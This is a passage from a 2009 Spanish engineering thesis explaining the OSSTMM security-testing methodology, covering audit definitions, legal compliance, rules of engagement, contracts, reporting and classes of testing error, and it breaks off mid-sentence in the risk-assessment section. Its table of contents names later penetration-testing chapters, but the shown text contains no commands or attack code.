Auditorías de Seguridad

Informática y la OSSTMM

Autor: Alberto Hervalejo Sánchez

Director: Dr. Miguel Sánchez López, Jose Selvi Sabater

Proyecto Final de Carrera

presentado en la Universidad
Politécnica de Valencia para la
obtención del título de Ingeniero en
Informática

Valencia, Julio 2009

Página 1
Página 2
Índice de contenido
Notas del autor.................................................................................................................................6
Introducción.....................................................................................................................................6
Parte 1: Documento OSSTMM............................................................................................................8
Aclaraciones previas........................................................................................................................9
Prólogo.............................................................................................................................................9
Introducción...................................................................................................................................10
Ámbito o Alcance..........................................................................................................................11
Propósito....................................................................................................................................11
Acreditación..............................................................................................................................11
Términos y definiciones.................................................................................................................11
Términos generales...................................................................................................................12
Conformidad..................................................................................................................................12
Reglas de compromiso:..................................................................................................................13
Ventas y marketing....................................................................................................................13
Evaluación/Entrega estimada....................................................................................................13
Contratos y negociaciones........................................................................................................14
Ámbito......................................................................................................................................14
Plan de trabajo...........................................................................................................................14
Proceso del test..........................................................................................................................14
Informes....................................................................................................................................15
Proceso...........................................................................................................................................15
Mapa de Seguridad........................................................................................................................17
Lista de módulos del mapa de seguridad..................................................................................17
Evaluación de riesgos....................................................................................................................17
Evaluación de riesgos................................................................................................................17
Seguridad perfecta:...................................................................................................................18
Métricas de seguridad....................................................................................................................18
Aplicando Risk Assessment Values..........................................................................................18
Seguridad real.......................................................................................................................19
Seguridad operacional (OPSEC)..........................................................................................19
Controles..............................................................................................................................20
Tipo A.......................................................................................................20
Tipo B.......................................................................................................21
Limitaciones.........................................................................................................................21
Seguridad real.......................................................................................................................23
Secciones y módulos......................................................................................................................23
Metodología...................................................................................................................................24
Sección A – Seguridad de la información......................................................................................24
1. Revisión de la inteligencia competitiva................................................................................24
2. Revisión de la privacidad......................................................................................................26
3. Recolección de documentos..................................................................................................26
Sección B – Seguridad de los procesos.........................................................................................27
1. Testeo de Solicitud................................................................................................................27
2. Testeo de sugerencia guiada..................................................................................................29
3. Testeo de las Personas Confiables.........................................................................................33
Sección C – Seguridad en las Tecnologías de Internet..................................................................34
1. Sondeo de la Red...................................................................................................................34
2. Escaneo de Puertos................................................................................................................37

Página 3
 3. Identificación de Servicios....................................................................................................37
4. Identificación del Sistema.....................................................................................................37
5. Búsqueda de Vulnerabilidades y Verificación.......................................................................38
6. Testeo de Aplicaciones de Internet........................................................................................39
7. Testeo del Router...................................................................................................................40
8. Testeo de Sistemas de Confianza..........................................................................................43
9. Testeo de Firewall.................................................................................................................43
10. Testeo de Sistemas de Detección de Intrusos......................................................................43
11. Testeo de Medidas de Contención.......................................................................................45
12. Password Cracking..............................................................................................................45
13. Testeo de Denegación de Servicio......................................................................................46
14. Revisión de las Políticas de Seguridad...............................................................................47
Sección D – Seguridad en las Comunicaciones.............................................................................48
1. Testeo de PBX.......................................................................................................................48
2. Testeo de Buzón de Voz/Contestador....................................................................................49
3. Revisión de los faxes.............................................................................................................50
4. Testeo de Módems.................................................................................................................51
Sección E – Seguridad Wireless....................................................................................................53
1. Testeo de Radiación Electromagnética.................................................................................53
2. Testeo de Redes Wireless......................................................................................................54
3. Testeo de Redes Bluetooth....................................................................................................55
4. Testeo de Dispositivos Inalámbricos.....................................................................................57
5. Testeo de Dispositivos Inalámbricos de Mano......................................................................58
6. Testeo de Comunicaciones Inalámbricas..............................................................................58
7. Dispositivos de Vigilancia Inalámbricos...............................................................................59
8. Dispositivos de Transacciones inalámbricas.........................................................................60
9. Testeo de RFID.....................................................................................................................60
10. Testeo de Infrarrojos...........................................................................................................62
11. Revisión de privacidad........................................................................................................63
Sección F – Seguridad Física.........................................................................................................63
1. Revisión de Perímetro...........................................................................................................63
2. Revisión de Monitorización..................................................................................................63
3. Testeo de Controles de Acceso..............................................................................................63
4. Revisión de Respuesta ante Alarma......................................................................................63
5. Revisión de Localización......................................................................................................63
6. Revisión del Entorno.............................................................................................................64
Parte 2: Conceptos Técnicos...............................................................................................................65
Introducción...................................................................................................................................66
Introducción a Backtrack y justificación.......................................................................................66
Instalación del ambiente de pruebas..............................................................................................66
Backtrack servicios básicos...........................................................................................................67
Cambiar la contraseña que viene por defecto en BackTrack. ..................................................67
Configuración y puesta en marcha los servicios básicos de BackTrack. .................................67
Puesta en marcha de servidor SSH...........................................................................................68
Servidor Web.............................................................................................................................69
Servidor atftpd...........................................................................................................................69
Servidor VNC............................................................................................................................70
Backtrack Netcat............................................................................................................................71
Identificando Banners de Servidores web.................................................................................73
Modo Listen de Netcat..............................................................................................................74

Página 4
 Envío de archivos......................................................................................................................75
Administración remota..............................................................................................................76
Shell inversa..............................................................................................................................77
Test de penetración........................................................................................................................77
Introducción..............................................................................................................................78
Escaneo e identificación del sistema.........................................................................................78
NMAP..................................................................................................................................78
Introducción.....................................................................................................................78
Host discovery.................................................................................................................79
Escaneo de puertos..........................................................................................................80
Errores.............................................................................................................................80
Máquinas online..............................................................................................................82
Exploración inicial de la máquina 192.168.1.100...........................................................82
Verificación de puertos abiertos con servicios escuchando.............................................86
Recolección de información.................................................................................................89
Ataques de diccionario.........................................................................................................89
Nombres de usuario.........................................................................................................90
Diccionarios.....................................................................................................................90
xHydra.............................................................................................................................90
Exploración del sistema........................................................................................................94
Escalada de privilegios.........................................................................................................95
Descifrando Shadow.............................................................................................................95
Valoraciones finales.......................................................................................................................97
Valoración primer taller............................................................................................................97
Valoración del segundo taller....................................................................................................97
Parte 3: Conclusiones y cierre del Proyecto.......................................................................................99
Conclusiones y cierre...................................................................................................................100
Bibliografía..................................................................................................................................101

Página 5
Notas del autor
Desde bien joven, me ha fascinado la informática. Ha sido una parte bastante importante en la
generación de los 80, donde el surgir de los videojuegos, la informática, y más tarde Internet, nos ha
mantenido siempre expectantes de las nuevas tecnologías, y conviviendo con ellas desde bien
pequeños.

Con la aparición de Internet, y los medios informativos tratando de hacer noticia de la misma, ha
surgido constantemente el tema de los hackers, esos piratas informáticos que aparecían con
capuchas en cuartos oscuros, y que conseguían asaltar bancos por medio de los ordenadores, o las
leyendas urbanas de jóvenes que conseguían asaltar el pentágono u otras organizaciones de
inteligencia.

Siempre me he mostrado escéptico en torno a estos asuntos tan clandestinos, aunque no puedo
evitar negar que siempre he sentido curiosidad. ¿Cómo conseguían hacer esas cosas que parecen de
ciencia ficción? Ha habido muchas películas que además han tratado de endulzarlo y maquillarlo
para mantener al espectador en vilo, y tratar de vender en taquilla.

Y ha sido estudiando la carrera de informática cuando ha aparecido la oportunidad de hacer de esa

curiosidad una profesión: las auditorías de seguridad informática. Poder aprender a realizar esto,
para ayudar a la sociedad contra estas personas que deseaban utilizar estos conocimientos con fines
fraudulentos. Poder luchar contra el robo, el fraude, la pornografía infantil etc...

Tras haber trabajado en una empresa de seguridad informática, supe que quería aprender sobre todo
este mundo difícil, donde hay que mantenerse al día. Un mundo que es complicado de aprender, ya
que existe mucha fantasía y exceso de información por la red, llena de información desfasada y
muchas veces con fines maliciosos.

Es por todo esto, que, aprovechando el tener que realizar un proyecto final de carrera, haya
aprovechado esta oportunidad para aprender todo lo que pudiera sobre el tema, y ayudar a gente,
que venga detrás de mí, a aprender lo que yo he aprendido. Explicar desde un punto de vista de un
ingeniero informático que desea hacer de la seguridad su profesión todo lo posible sobre auditorías
de seguridad informática.

Introducción
La seguridad de las TI es un tema frecuente al que se enfrentan las empresas en estos últimos
meses. Se ha hablado de fallos de seguridad incluso en medios de comunicación no especializados,
por ejemplo del fallo en el protocolo DNS
[http://www.elpais.com/articulo/internet/fallo/peor/temido/elpeputec/20080807elpepunet_7/Tes]
(que tanta repercusión ha tenido)y el del no tan conocido BGP
[http://www.elpais.com/articulo/internet/Internet/deja/abierta/puerta/espias/elpeputec/20080827elpe
punet_5/Tes], lo cual hace ver, la importancia que está tomando la seguridad en la sociedad actual, y
sobre todo en la de las empresas.

Situándonos en este escenario, el proyecto que voy a realizar se centraría en

auditorías de seguridad informática (en especial, de vulnerabilidades y tests de
intrusión), tomando como referencia, la metodología descrita por ISECOM
[http://www.isecom.org/] : la Open Source Security Testing Methodology Manual (OSSTMM a

Página 6
partir de ahora). Teniendo en cuenta, que ésta es, quizás la metodología más
extendida en el campo, siendo además abierta, me ha resultado interesante tomarla
como referencia.

La primera pregunta que debemos responder antes de adentrarnos en el proyecto, es: ¿Que es una
auditoría de seguridad? ¿Que es un test de intrusión?
Una auditoría de seguridad, es el análisis y estudio de un sistema, para intentar conocer las
limitaciones de un sistema (vulnerabilidades, debilidades, preocupaciones etc.. según OSSTMM),
para posteriormente poder corregirlas.

Un test de intrusión, se considera una como un tipo de auditoría de seguridad, donde

las vulnerabilidades que se buscan, son aquellas que permitirían el acceso al sistema
de alguien no autorizado, para comprobar la resistencia que ofrece el sistema ante
este tipo de ataques.

Página 7
Parte 1: Documento OSSTMM

Página 8
Aclaraciones previas

Esta parte del presente documento, no pretende ser una traducción de la versión pública más
actualizada de la Open Source Security Test Methodology Manual (OSSTMM de ahora en
adelante). Tampoco pretende ser una metodología que la sustituya, ni pretende ser un documento
legal u oficial. Se pretende, pues, que sea un documento de consulta, para aquellas personas que
deseen enfrentarse a una metodología de seguridad informática por vez primera, y que, tras
enfrentarse al crudo (y en ocasiones demasiado correcto) lenguaje de una metodología, quieran un
acercamiento previo, con un lenguaje más propio de un ingeniero en informática. Sin embargo,
tampoco se pretende ahondar en cuestiones técnicas (refiriéndonos por técnicas a las herramientas
que habrá de usarse), sino en que el lector pueda encontrar ejemplo y explicaciones de lo que se
encuentra en cada sección. Se añadirán casos con los que el autor de este documento se ha
encontrado en su investigación para la realización del mismo, y se incluirán aquellas partes de la
OSSTMM que se crean oportunas para la comprensión de la misma.

Se pretende también, seguir el orden y secciones de la OSSTMM, aunque en algunas ocasiones se

pueda omitir alguna sección que el autor considere que no sea importante resaltar. Es por ello, que
se recomienda al lector, leer el presente documento con una copia de la OSSTMM al lado para
poder ir comprobando, punto a punto, las secciones incluidas, y las no incluidas.

A continuación, se presenta la primera sección de la OSSTMM, el prólogo.

Prólogo

El testeo metódico de seguridad es distinto de los tests de penetración. Es una combinación de

creatividad, el constante conocimiento de nuevas buenas prácticas y de amenazas conocidas. Es
llevar las cosas hasta el extremo, a los “peores casos”, para asegurarnos de que esas “buenas
prácticas” son realmente buenas prácticas. Es el conocer que sucedería con situaciones que damos
por controladas, y que generalmente, prevemos que no van a ir mal, y llevarlas al extremo. Se trata
de asegurarnos de que en esos extremos, el sistema sigue comportándose tal y como esperaríamos
que lo hiciera. Comprobar qué sucede si un intruso se hiciera pasar por alguien de la organización,
cómo se comportaría un sistema ante la llegada masiva de datos, qué sucede si se cortase el
suministro eléctrico... Debemos preguntarnos qué sucede si forzamos la seguridad al máximo, y
comprobar donde aparecen las mayores deficiencias o debilidades. ¿En qué circunstancias aparecen
éstas?

– Cuando testear es tan importante como qué y por qué testear:

No es lo mismo comprobar que has cerrado la puerta de tu casa antes de salir de vacaciones que
al volver. Lo mismo sucede con las auditorias de seguridad informática. Debemos hacerlas antes
de que las cosas malas sucedan. Es mejor prevenir que curar.

– Preocuparse de los detalles, porque todo está en los detalles:

Es en los detalles donde se encuentran los mayores fallos de seguridad. Quizás un solo detalle
no sea especialmente determinante, pero la suma de todos ellos hace de ellos un gran problema.

Página 9
 Además, son estos pequeños detalles (por ejemplo, que un programa no compruebe una entrada
de datos), que no son visibles, donde un hacker malintencionado encontrará la puerta de entrada,
ya que todo aquello que no son “detalles” son fácilmente encontrados, y por tanto, solucionados.

– Eficiencia y creatividad:
Aunque el presupuesto sea bajo, debemos intentar que el poco tiempo que podamos dedicar al
testeo sea lo más eficiente posible. Así podremos justificar bien nuestro trabajo. Las
organizaciones verán que lo que han pagado por los servicios prestados realmente sirven de
algo, y muchas más organizaciones querrán hacerlo. Hay que trabajar de forma ordenada,
tenerlo todo preparado para antes de empezar, y trabajar de forma profesional y rápida. Muchas
empresas ven las auditorías como un gasto, quizás no inútil, pero no tan importante como lo
pueda ver un auditor, y suelen invertir poco dinero en ello.

– Jamás subestimes las políticas de seguridad

Todas tienen su función, y si no se siguen, los objetivo de la empresa (que al fin y al cabo, los
objetivos de la empresa se alcanzan gracias a políticas) no se cumplirán nunca. Si por ejemplo,
no se cumpliese una política que dijera que hay que controlar que la gente se vaya llevando
cajas o equipamiento, podría haber filtraciones de información, o desaparecer material
importante.

– Como lo reciban los clientes dependerá de como se lo ofrezcas

¿Que riesgos estará dispuesto a correr el cliente? ¿Serán ignorados los informes? Dado un bajo
presupuesto, ¿se habrá hecho llegar al cliente el hecho de que se ha hecho de acorde con el
presupuesto dado? Todo dependerá de como presentes la información al cliente.

Introducción

La OSSTMM comenzó allá por finales del año 2000, y creció rápidamente gracias a la experiencia
de miles de personas que contribuyeron al proyecto. Gracias al hecho de ser una metodología libre,
los testeadores participan en un gran plan contribuyendo al movimiento open-source, y
estandarizando una metodología que todo el mundo pudiera acceder, o a mejorar, por lo que creció
enormemente hasta convertirse en uno de los principales referentes en su campo hoy en día.
Originariamente, perteneció al dominio ideahamster.org, que más adelante pasó a ser el actual
ISECOM (Institute for Security and Open Methodologies). En 2003, ISECOM estuvo registrada
como como una organización sin ánimo de lucro en España y en los EEUU. Hasta ahora, la
OSSTMM trataba solamente una forma de hacking ético, pero en 2005, pasó a ser una forma de
verificar que la seguridad se estaba tratando de forma correcta a nivel operacional, y en 2006, este
manual pasó a ser el estándar para aquellos que necesitaran una seguridad más allá del que la
legislación y regulaciones ofreciesen.

Un punto importante de la OSSTMM, es el tener en cuenta que el objetivo del manual, es crear un
solo método para realizar pruebas de seguridad en profundidad. Es un conjunto de pasos que deben
ser realizados una y otra vez, hasta que los resultados esperados se obtengan. No es la idea (ni se
encontrará en ninguna otra parte) el recomendar al auditor el utilizar esta metodología como un
diagrama de flujos o utilizarla como una serie de pasos con un cierto orden formal, sino
simplemente haber completado y revisado todos los pasos que se contemplan, en el tiempo
establecido.

Algo en lo que esta metodología hace hincapié, es el hecho de que muchos testeadores de seguridad

Página 10
creen que los tests de seguridad son una “fotografía” del punto actual de seguridad en el sistema. El
tener una visión actual y puntual de como es el sistema en ese momento. Pero... ¿es esta
“fotografía” suficiente? La metodología intenta enriquecerlas con los llamados Risk Assessment
Values o Valores de Evaluación de Riesgos (de ahora en adelante RAVs), que proporcionarán
información extra en contextos tales como frecuencias y tiempos al test de seguridad. La
“fotografía” se convertirá en un perfil o Profile abordando un rango de variables a lo largo de un
periodo de tiempo antes de degradarse por debajo de los niveles de riesgo aceptable. Estos RAVs y
Profiles se explicarán con detalle en su sección correspondiente.

Por último, otro de los objetivos de la metodología es que pueda evitarse, que el estilo personal,
asunciones falsas, o prejuicios de los testeadores intervengan en los resultados del test. El uso de
una metodología igual para todo el mundo, conseguirá la imparcialidad de los tests, y por lo tanto,
que tengamos una base comparable entre sistemas, pudiendo así comparar unos con otros, y
graduarlos.

Ámbito o Alcance

Propósito
Como ya se ha comentado antes, el principal objetivo o propósito es el ofrecer una metodología
científica a los tests de seguridad, pero además, ofrece una guía a los auditores para realizar una
auditoria OSSTMM certificada. Esta guía existe para asegurar que:

– La prueba se ha realizado con detalle.

– La prueba incluye todos los canales necesarios.
– Que se haya realizado con concordancia con los derechos civiles
– Que los resultados sean cuantificables.
– Que los resultados sean consistentes y repetibles.
– Que los resultados contengan sólo hechos derivados de los mismos tests y nada más.

Acreditación

Como hemos dicho, se puede realizar una auditoria OSSTMM certificada. Para ello, se requiere un
informe de auditoria de la OSSTMM firmada por el testeador o analista que cumpla los requisitos
de informes. Estos informes, junto con una versión anónima del informe de auditoria remitida a
ISECOM para revisión proporcionará una certificación, que entre otras ventajas, hará responsable al
auditor y servirá de prueba del test, y por tanto algo que probará que el sistema ha superado el
control de calidad de seguridad de OSSTMM, lo cual siempre será deseable para cualquier
empresario.

Términos y definiciones

Página 11
Términos generales

•Escaneo de vulnerabilidades: se refiere a la búsqueda automatizada de amenazas conocidas en un

sistema o sistemas en una red. Es la búsqueda de fallos en aplicaciones, sistema operativo etc... de
forma automatizada. Podría ser un ejemplo, el lanzar Nessus en busca de fallos en el sistema.
•Escaneo de seguridad: generalmente, se refiere a una búsqueda mucho más activa que un escaneo
automatizado de vulnerabilidades. Aquí, además, se incluye la verificación de falsos positivos,
identificación de debilidades en la red y su análisis.
• Test de penetración o intrusión: generalmente se refiere a la obtención de los conocidos como
“trofeos” (obtener algún tipo de objetivo/activo simbólico que hará las veces de meta) e incluye el
ganar acceso privilegiado.
•Evaluación de riesgos: análisis de seguridad a través de entrevistas e investigación de nivel
medio, que incluye la justificación de negocios, legales y específicas de la industria. Es el estudio
de la magnitud de un daño junto con la probabilidad de que éste ocurra. Este punto es algo en lo que
se hace hincapié en la metodología, y se verá más adelante con detalle.
•Auditoría de seguridad: podríamos extendernos mucho sobre la definición de este término, pero
por lo que a la metodología se refiere, se trata de la inspección manual con privilegios
administrativos del sistema operativo y de los programas de aplicación del sistema o sistemas
dentro de una red o redes. Hemos de diferenciarlo pues, del resto de puntos, pues suelen
confundirse fácilmente.
•Hacking ético: parecido al test de penetración, solo que aquí no se incluye obligatoriamente el
ganar acceso privilegiado. Además, en el hacking ético, tal y como lo entiende la OSSTMM,
incluye el realizarlo en un tiempo establecido.
•Test de Seguridad y su equivalente militar: Evaluación de Postura: lo entendemos como una
evaluación de riesgos de sistemas y redes, realizando escaneos de seguridad y su respectivo análisis,
comprobando tantos falsos positivos como negativos como el tiempo establecido permita. He aquí
el test completo y metódico del que vamos a exponer a lo largo de la OSSTMM.

Conformidad

Esta sección, aunque no contiene aspectos puramente informáticos, he creído que sería interesante
incluirla, pues hay algunas definiciones legales que en España difieren del resto del mundo.
Además, es posible, que a un Ingeniero en Informática, le resulte más interesante hacerse una idea
general de ésta sección. Para una definición más completa o formal, siempre se puede consultar la
propia OSSTMM o textos jurídicos.

La concordancia es el alineamiento con una serie de políticas generales. La OSSTMM reconoce

tres tipos de concordancia:

1. Legislación: la legislación la entendemos como la ley. En caso de no estar en conformidad

con la ley, puede llevar a cargos criminales (con pena de cárcel) o sanción económica, tal y
como estipula la Constitución Española y el resto del ordenamiento jurídico. Cabe destacar,
que en la OSSTMM habla solamente de cargos criminales, sin embargo, en España se
distingue también la sanción económica. La OSSTMM aquí en España está en conformidad
con la LOPD (Ley Orgánica de Protección de Datos) y la controvertida LSSICE (Ley de
Servicios de la Sociedad de Información) impuesta en 2002 como LSSI (llamada muchas
veces como la Gestapo Digital), que tanto dio que hablar entre los internautas. Se puede

Página 12
 encontrar un artículo muy interesante sobre esta ley en el número 2 de “Los Cuadernos de
HackxCrack”.
2. Regulación: en este apartado, se habla de actividades reguladas (es decir, que no hayan
lagunas), de forma que no haya miedos o reparos por parte de las organizaciones para tomar
estas acciones. Lo opuesto a lo regulado, sería lo comúnmente conocido como “bordear la
ley”. Una empresa, siempre preferirá tomar decisiones o acciones que estén reguladas para
no arriesgarse a posibles penas de cárcel o sanciones económicas.
3. Políticas: éstas se conocen, muchas veces como directrices, guías, normativas, o prácticas
hacia el cumplimiento de los objetivos de una organización. También se les suele conocer
como buenas prácticas. La OSSTMM, entre otras, está de conformidad con las
publicaciones de la NIST (National Institute of Standards and Technology), famosa por
algunos títulos en seguridad informática que ofrece.

Reglas de compromiso:

En esta sección se habla de prácticas éticas, que todo aquel que realice esta metodología debería
seguir. A personas afiliadas, compañeros, miembros del equipo o asociados a ISECOM están
obligados bajo contrato a cumplirlas. De la versión anterior del documento a esta, se han suprimido
algunos apartados (conocidas en la anterior versión como “reglas adicionales”) que hacían
referencia a algunos cálculos que debería de hacerse para la estimación del tiempo y para el test de
seguridad. Recomiendo su lectura en caso de estar interesado en caso de estar interesado en un
análisis más metódico (aunque no viene estipulado en la presente metodología).

Ventas y marketing

A la hora de vender nuestros servicios para realizar un test de seguridad, no debería usarse el miedo.
Tampoco debería de ofrecerse servicios gratuitos en caso de no poder penetrar en los sistemas, ni
intentar penetrar en ellos sin el consentimiento escrito del cliente. Esto, hasta ahora parece lógico
(tanto legal, como éticamente), pero algo que sorprende, es el hecho de que no pueda usarse los
nombres de antiguos clientes (¡ni siquiera con su consentimiento!) como forma de promocionarse,
aunque sí de otras secciones de la misma organización. Algo que también suele sorprender, es la
buena práctica de no realizar concursos (o prácticas ilegales, por supuesto) de cracking, hacking etc
para promocionarse. Esto contrasta con la extendida idea de los hackers que van a la cárcel, y más
tarde encuentran trabajo en muy poco tiempo. Por último, cabe decir que los clientes deberían de
conocer objetivamente el estado la seguridad y las medidas de seguridad que posee.

Evaluación/Entrega estimada

En esta sección, solo quiero resaltar, el hecho de que no debería de realizarse tests de seguridad
sobre sistemas obviamente poco seguros, o hasta que los sistemas de seguridad hayan sido puestos
en marcha. Esto es algo que parece obvio, sin embargo, debe ser recordado, pues poca gente se lo
plantea a la hora de realizar el test.

Página 13
Contratos y negociaciones

Según la OSSTMM, y en la mayoría de las demás metodologías, el auditor de seguridad debe de

mantener un compromiso fuerte con el cliente. Es de suponer, que el tratar una cuestión tan delicada
como es la seguridad, haya que definir y dejar muy claro todo lo que se va a realizar. Por ejemplo,
se le exige al auditor, confidencialidad y la no revelación de secretos (lógico). Revelar contraseñas,
infraestructuras etc.. sería peor que no realizar la propia auditoría.
Por otra parte, los contratos deberían incluir limitaciones en la responsabilidad del auditor (teniendo
en cuenta el coste de la auditoría, claro), a menos que hay claros indicios de mala fe. Es lógico
suponer, pues, que para que se incluya esto, el auditor debería de informar (y por supuesto esto
debería de reflejarse en el contrato) los limites y peligros del test que se va a realizar (además de la
información de desde donde se va a realizar los tests, IPs, etc). Además, en el contrato se debería
incluir personas de contacto, o un teléfono de emergencia.
Otra cuestión importante, es el que deba incluirse permiso específico para tests relacionados con
denegaciones de servicio, fallos en la supervivencia, análisis de proceso, o ingeniería social. Estos
son muy delicados, ya que pueden implicar paradas de sistemas de producción, o interrumpir el
funcionamiento normal del sistema.
Por último, y algo que podría no parecer importante, debería de incluirse también, el futuro proceso
de contrato, y cambios de condiciones de trabajo.
Como vemos, el auditor, debería de asegurarse bien de que el cliente entiende lo que va a realizar, y
asegurarse de que en caso de suceder un imprevisto, todo haya sido escrito en el contrato.

Ámbito

Esta sección es muy corta en la OSSTMM, pero me parece de vital importancia que se deba resaltar
claramente, los limites del alcance del test, y no comenzar el test, antes de dejar todo esto definido
en el contrato.

Plan de trabajo

En esta sección, se habla del plan que el auditor debería de confeccionar para realizar el test. En el
se debería incluir el tiempo dedicado, tanto en fechas como horas de trabajo, incluyendo tanto el
tiempo del test en sí, como su análisis.
Comparando esta sección de la OSSTMM (la 2.2) con la versión anterior, en esta sección se ha
incluido el que el plan de testeo no debe incluir planes, procesos, técnicas o procedimientos que
estén fuera del área de competencia obtenido por entrenamiento y educación del auditor. Esto
parece estar en concordancia con el espíritu del documento, ya que en él, no se incluyen
herramientas, ni comandos a utilizar, intentando no inmiscuirse en aspectos técnicos.

Proceso del test

Esta sección ha cambiado mucho desde la última versión de la metodología, y ha pasado a ser la
más extensa (dentro de las reglas de compromiso).
En ésta, se habla de las buenas prácticas que debe de tomar el auditor durante el test o auditoría en
sí. Me gustaría destacar, algunos puntos (aunque no por ello han de ser más importantes que los que

Página 14
no hago referencia), que me llaman la atención. Por ejemplo, el hecho de que no debería permitirse
grandes cambios de objetivos por parte del cliente, protegiéndose así, al auditor, de tener que salir
constantemente de sus planes por, si se me permite la expresión, caprichos del cliente. Además, se
le hará firmar al cliente un consentimiento para eximir al auditor de daños ocasionados durante la
auditoría, o de allanamiento, a menos que haya mala fe durante la auditoría.
Otro punto que me gustaría resaltar, es el de que la metodología dice que no debería subirse los
niveles de seguridad durante la auditoría, y para ello, solamente se debería de avisar a algunas
personas sobre el test.
Si el test se realiza con algún tipo de privilegios, primeramente, debería realizarse sin ninguno, y
después, debería de darse dos accesos distintos (por ejemplo, dos passwords de áreas distintas)
típicos, ni más ni menos seguros que los que se usan de forma regular.
Por último, creo importante resaltar, el que las grietas de seguridad importantes encontradas,
deberían de ser notificadas inmediatamente al cliente.

Informes

En esta sección se incluye, en su mayoría prácticas de sentido común (aunque nunca está de más
recordarlo) como temas de privacidad, objetividad etc.. que recomiendo leer al menos una vez, para
preguntarnos si realmente lo hemos cumplido.
Como puntos a destacar:
•Si en alguna investigación o prueba, hemos de hacer mención de alguna persona que no esté
entrenada en seguridad, o no perteneciente al personal de seguridad, solamente debería mencionarse
en forma de estadísticas o sin identificarlo.
•En los informes, deberían incluirse tanto las medidas de seguridad fallidas como las que no,
además de las anomalías e incógnitas encontradas durante la exploración. Es decir, debemos,
además de informar del trabajo que hemos realizado, nuestros límites o trabajo no realizado.
•Antes de enviar el informe, deberíamos informar al cliente de que vamos a hacerlo, y establecer un
canal seguro para su entrega. Sería fatídico que, después de todo el trabajo realizado, se echara a
perder porque los informes cayeran en manos equivocadas.

Proceso

El proceso del testeo, está considerado como un evento de test discreto de un sistema dinámico y
estocástico. Por estocástico, entendemos aquel sistema que funciona, sobre todo por el azar. Con
esto no nos referimos a la indeterminación de los sistemas informáticos, sino a la gran cantidad e
variables que interactúan las unas con las otras. Y no nos referimos únicamente a la interacción
entre distintas máquinas, sino también a su entorno. A pesar de que podamos tal vez, adivinar el
estado futuro del sistema bajo ciertas condiciones, o de su entorno (por ejemplo, podemos saber que
en un país cercano al ecuador hará más calor que en uno nórdico), nunca podremos estar
completamente seguros de ello.
Un test discreto examina el estado de este sistema dinámico en periodos de tiempo discreto.
Monitorizar tareas de forma contínua dejaría de ser práctico (demasiada información, coste
computacional y espacial... etc).

Teniendo esto en cuenta, el auditor intentará abordar el sistema de una forma distinta a la que el que
lo implementó pensaba: poner el sistema al limite, simular situaciones anómalas para comprobar
que el sistema realiza las funciones que se supone que debería de realiza. El auditor simula las

Página 15
condiciones de esas situaciones, y monitoriza para comprobar los resultados. Sin embargo, no
debemos fiarnos al 100% de estos datos obtenidos, ya que muchas veces pueden aparecer errores,
algunos de ellos devastadores para el objetivo.
Estos errores son:
1 Falso positivo
2 Falso negativo
3 Gray positive
4 Gray negative
5 Specter o espectral
6 Indiscretion o indiscreción
7 Error de entropía
8 Falsificación
9 Error de muestreo
Este tipo de errores se dan cuando se detecta un error que
en realidad no existe. Por ejemplo, que se detecte un DoS
cuando en realidad, es que se ha reintentado la conexión
muchas veces.
Es el opuesto al falso positivo: aquí no se detecta nada,
cuando en realidad sí debería de detectarse. Por ejemplo,
el antivirus no detecta un virus en el sistema.
Esto se obtiene, cuando el sistema está preparado para
responder que siempre está en un estado concreto, tenga el
estado que tenga. En ocasiones, las herramientas detectan
un estado, y el auditor podría tomarlas por ciertas. Un
ejemplo, sería que la wifi mostrara que está abierta
siempre, cuando en realidad se está filtrando por MAC.
Opuesto al gray positive. Es cuando el sistema está
preparado para responder que no está en un estado
concreto, y esto no es cierto. Por ejemplo, que siempre
conteste que sus puertos no están abiertos.
Este tipo de error se obtiene, cuando se toma por cierto un
estado cuando en realidad no se puede saber su estado. Por
ejemplo, cuando el auditor recibe un estado de fuera, y se
percibe como que es de la máquina analizada. Un error
común, es suponer que la respuesta de un eco se deba a la
propia petición. Debemos de tener cuidado con estos
errores, ya que podemos obtener una relación de causa-
efecto equivocada.
Este es un tipo de error que se obtiene cuando el estado del
objetivo cambia a lo largo del tiempo, y no necesariamente
siguiendo un patrón.
Es cuando se obtiene una relación ruido/señal muy alta,
haciendo que el auditor no pueda determinar el estado del
objetivo.
Este tipo de error, se obtiene cuando se está intentando
averiguar el estado de un objetivo, pero éste depende otras
variables que están predispuestas a mostrar una imagen
determinada, aunque no sea la real. Están relacionados con
los gray positive/negative.
Ocurre cuando obtenemos muestras sesgadas del sistema,
por ejemplo, que al auditor se le hace tomar las muestras
en un momento determinado, cuando las medidas de
seguridad son más altas, dando pie a que se piense que
Página 16
 siempre son así de altas.
10 Restricción El error se da cuando no se reconocen restricciones o
limitaciones impuestas, ya sea para el equipamiento, o los
sentidos del auditor.
11 Propagación El auditor no realiza una prueba porque presupone lo que
va a obtener. También puede ser porque las herramientas
están modificadas o calibradas para obtener esos
resultados. El peligro de este tipo de errores, es, como
indica su nombre, que puedan propagarse, y no hacerse
visibles hasta bien entrada la auditoría.
12 Error humano Son causados por la falta de habilidad o experiencia. Un
auditor con experiencia tiene más probabilidad de cometer
un error de propagación, mientras que uno novel, es más
propenso a cometer errores humanos.

Muchos de estos tipos de errores, no se suelen utilizar habitualmente dentro del mundo de la
seguridad informática. Los más comunes son los falsos positivos/negativos o el error humano. El
resto, la metodología los incluye, y deben de conocerse si se quiere seguir la metodología de forma
precisa.

Mapa de Seguridad

No voy a extenderme mucho en esta sección y subsecciones, ya que simplemente presenta una lista
de módulos y un diagrama que me parece muy claro en el documento original. Sin embargo, hay un
par de puntos interesantes:

•El primero, es que a pesar de que hay una serie de módulos claramente especificados, están todos
relacionados, por lo que al hacer pruebas en uno de ellos, se está comprobando algunas partes de
otro.
•El segundo, es que para que pueda decirse que se ha realizado un test de seguridad de la OSSTMM
para una Sección en particular, todos los módulos de la sección tienen que haber sido comprobados,
y si en la infraestructura estudiada no existe un objetivo para un módulo, entonces se deberá
determinar como “no aplicable” en las tablas al final del documento, que deberán de ser entregadas
como parte del informe final.

Lista de módulos del mapa de seguridad

Ver documento OSSTMM 2.2 original.

Evaluación de riesgos

Evaluación de riesgos

Página 17
Según la OSSTMM, riesgo significa que, el limitar la seguridad tenga un efecto perjudicial en las
personas, información cultural, los procesos, negocios, imagen, propiedad intelectual, derechos
legales o capital intelectual. Es importante conocer esta definición para tener clara la postura que
toma la OSSTMM a la hora de tratar lo que las personas entendemos por “riesgo” y así, saber que
entra como parte del trabajo del auditor/tester para realizar su trabajo. Se distinguen cuatro
aspectos:

•Seguridad (safety): Nos referimos a seguridad como seguridad “humana”(safety) en lugar de

informática(security). Todos los tests deben de realizarse para comprobar las peores situaciones y
